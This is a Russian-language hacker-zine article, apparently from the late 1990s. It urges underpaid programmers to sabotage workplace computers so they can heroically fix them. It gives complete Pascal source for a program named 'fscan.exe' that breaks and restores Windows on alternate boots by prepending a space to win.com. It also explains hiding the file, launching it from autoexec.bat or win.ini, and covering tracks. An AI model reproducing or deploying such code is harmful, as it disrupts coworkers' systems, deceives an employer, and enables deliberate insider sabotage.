div.main {margin-left: 20pt; margin-right: 20pt}Если Вас не ценит начальство. КАК Я ДОДУМАЛСЯ ДО ЭТОГО
Как-то не так уж и давно (примерно в 95-м году) мне один товарищ
дал почитать рассказик "Наш Bofth". Может ты читал его и вспомнишь?
В нём описываются будни бывалого программера и к тому же
супервизора. Действие рассказа происходит в доисторические времена,
когда инета ещё и не было вовсе. Рассказ мне очень понравился и я
долго смеялся. В этом рассказе "Bofth" старался делать так, чтобы на
работе чувствовали его значимость. Сидя за своим рабочим местом я
впоследствии думал, что хоть пока меня начальство и ценит, но
парочку заначек в виде небольших подлянок не помешало бы иметь и, в
случае невнимания со стороны последнего, сделать так, чтобы меня
ценили. У меня есть несколько заготовок на этот счёт и думаю,
что они будут интересны как любителям западла так и бедным, никем не
замечаемым, операторам или начинающим программерам. Если ты
Кул-Хакер или программер, то, думаю, согласишься со мной, когда я
скажу, что ты это давно знаешь, но в свете новых технологий, забыл.
Что нужно сделать, чтобы тебя ценили? Ничего особенного, кроме как
что-то поломать, а потом лучше всех и быстрее всех это сделать -
думаю это ты и без меня знаешь. А если это будет случаться с
какой-то периодичностью, например перед выдачей зарплаты, то твоим
подлянкам цены не будет и все тебя будут любить и лелеять. А честных
и добрых программеров почему-то всегда считают тупыми и дармоедами
(это я опять отвлёкся). Короче смысл такой, что делай только так,
как это выгодно тебе и все тебя будут уважать, а женщины отдаваться
(шутка). Если ты прочитал всё вышеизложенное, то, самое время
обсудить, как это можно реализовать. Рассмотрим несколько
вариантов.
1. У тебя, конечно, как и у всех бывалых, или не очень, хакеров
имеется пара вирусов, способных нанести разрушительные бедствия
твоим жертвам. Но сможешь ли ты потом быстро всё починить? А если
работа за компутерами на предприятии централизована и осуществляется
на каких-то специальных АРМ-ах ? Сможешь ли ты потом быстро
восстановить данные? Если да, то это смогут и другие, не менее
крутые программеры, которых щас хоть пруд пруди. Этот вариант не
подходит, т.к. только ты должен уметь быстро всё налаживать.
2.Можно что-то отключить во внутренностях компутера, например,
шлейф от дисковода или питание перекрыть, но опять-таки придётся
ковырять железо. Что если позовут не тебя, а кого-то другого, а уж
он то сразу разберётся что к чему, так как сегодня ковырять железо
может и ребёнок. Это не для нас.
3.Ты можешь удалить какой-нить главный файл, а потом после
надрывных звонков на твой телефон соблаговолить поднять трубку и,
после жалобных уговоров ничего не подозревающих пользователей, пойти
и незаметно переписать. Опять не то, т.к. резервные копии могут быть
не только у тебя. Ты же не будешь систематически залазить в комп
своей жертвы и что-то там делать - о тебе могут плохо подумать. Но
тут ты вспоминаешь, что умеешь, помимо всего прочего, ещё и
программировать, и тебя именно из-за этого пока держат на работе. И
тут напрашивается четвёртый вариант.
4.Что если написать программку, которая коверкает какой-нить
важный файл, а затем сама же его и восстанавливает? Если заложить в
неё ещё и такие параметры, как периодичность работы, то это будет
как раз то, что нужно. Критики скажут, что мол можно и по локалке
зайти на любой ПК и сделать всё, что можно. Если ты это можешь
сделать, то ты, наверное, и есть супервизор и для тебя эта подлянка
бессмысленна. Но даже, если ты не супервизор и можешь лазить по
чужим компутерам, то значит за этим кто-то сильно бдит. Если нет, то
я пас. В общем, останавливаемся на четвёртом пункте и переходим к
следующему абзацу.
ПРОГРАММА ИЗНУТРИ
Я взялся подпортить файл win.com, находящийся на всех компутерах
у нас на работе. Я думаю, что он есть везде, где стоят компутеры.
После небольших изменений в программке, можно легко и быстро
поломать/восстановить любой файл, который ты пожелаешь. Раз я порчу
главный файл форточек, то значит программку пишу не под эти самые
форточки. Я решил писать на Паскале - этот язык вполне отвечает моим
требованиям, да и, в случае чего, можно будет легко его использовать
в Delphi (если захочется чего-нить современного). Программа должна
действовать быстро и реагировать на какое-нить глобальное событие. У
меня этим событием является загрузка компутера. Я думаю, что это не
тот случай, когда надо вешать программу резидентно в памяти, поэтому
достаточно будет одного её запуска, после включения компутера. Но
если у тебя особенно злобные мысли, то можешь вызов этого файла
поместить в раздел Windows файла win.ini. Я решил сделать так, чтобы
винды по нечётной попытке загрузить компутер ломались, а по чётной
восстанавливались. Особо дотошные могут изменить программку таким
образом, чтобы компутеры ломались допустим 20-го числа каждого
месяца, а потом, после их умелых действий вдруг начинали работать.
Что касается этих предложений, то здесь, как говорится, конь не
валялся. Теперь решим, каким образом мы будем портить винды? Я
предлагаю самый что ни на есть простой: дописывать пробел в начало
файла win.com. Согласись - это не я придумал. Это очень старый и
простой прикол, зато после него при запуске форточек на экран
вылазит всякая абракадабра - на юзеров это действует убийственно и
они начинают думать, что виноваты в этом сами (ну самобичевание для
них будет весьма полезно). Особо дотошные могут вообще зашифровать
файл win.com - надо только добавить в программку пару строк и всё.
Но не будем забывать, что потом надо это всё и расшифровывать, т.е.
программа может вызвать некоторую задержку при загрузке, а это
нежелательно, да и не нужно. Итак, алгоритм прост: при нечётном
запуске ставим пробел в win.com, а при чётном убираем его оттуда.
Чётность запуска ("0" или "1") будем хранить в своём же "экзешном"
файле, только в конце. Если ты хочешь поизвращаться, то можешь
придумать что-нить своё, но, как мне кажется, предлагаемый мною
вариант тоже не худший. Ниже представлен текст этой программы:
uses dos; {Описываем все глобалы....}
var
p:pathstr;
direct:dirstr;
name:namestr;
ex:extstr;
ff1,ff2,f1,f2:file;
s:string;
nr:integer; buf:array[1..7000] of
char; {желательно размер буфера взять
побольше...}
{копирование файлов описываем в виде
процедур...} procedure ffcopy(var f1,f2:file);
begin
repeat
blockread(f1,buf,sizeof(buf),nr);
if nr=0 then
break;
blockwrite(f2,buf,nr-1); until
nr=0; end;
procedure fcopy(var
f1,f2:file); begin
repeat
blockread(f1,buf,sizeof(buf),nr);
blockwrite(f2,buf,nr); until
nr=0; end;
begin
nr:=1;
assign(ff2,fexpand('fscan.~x~')); {промежуточный файл, который потом
удалим...}
rewrite(ff2,1);
assign(ff1,fexpand('fscan.exe'));
reset(ff1,1);
ffcopy(ff1,ff2);
{копируем наш "экзешник" в промежуточный файл...} {и обрабатываем
этот файл на предмет определения чётности запуска, с
последующим
изменением чётности...}
seek(ff1,filepos(ff1)-1);
blockread(ff1,buf,sizeof(buf),nr);
s:=buf[1]; if buf[1]='0' then
s:='1' else s:='0';
buf[1]:=s[1];
blockwrite(ff2,buf,1); close(ff1);
close(ff2); reset(ff2,1);
rewrite(ff1,1);
fcopy(ff2,ff1); close(ff1);
close(ff2); erase(ff2); {не
забываем удалить промежуточный
файл...} {Ищем файл win.com в
разных каталогах ...}
p:=fsearch('win.com',getenv('path'));
if p='' then
p:=fsearch('win.com','c:;c:windows;c:win95;c:win98');
if p<>'' then
begin
fsplit(p,direct,name,ex);
assign(f1,direct+'win.com');
reset(f1,1);
assign(f2,direct+'win.co~');
rewrite(f2,1);
{а дальше классика
...} buf[1]:='
'; if s='1'
then
blockwrite(f2,buf,1)
else
seek(f1,1);
fcopy(f1,f2);
close(f1);
close(f2);
reset(f2,1);
rewrite(f1,1);
fcopy(f2,f1);
close(f1);
close(f2); {и
заметаем следы.}
erase(f2); {ВСЁ
!!!} end; end.
Процедуры копирования одного файла в другой лучше было бы сделать
на ассемблере, но я давно им не пользовался и мне ломы вспоминать.
После ввода текста программы её нужно откомпилировать на диск. Затем
зайди в экзешник и добавь в конец файла "0". Перепиши программку на
комп жертвы. На всякий случай присвой файлу атрибут скрытый. Заметь,
я назвал программу "fscan.exe", если ты хочешь дать ей другое имя,
то укажи его также в тексте кода. Затем пропиши вызов этой
программки в autoexec.bat (или в win.ini). Кстати, если пропишешь
вызов в win.ini, то тебе придётся запустить программу вручную для
восстановления форточек. Если всё сделал правильно, то теперь можешь
спать спокойно: программа будет верно тебе служить, нанося вред
твоим жертвам.
Автор: Шамблер
|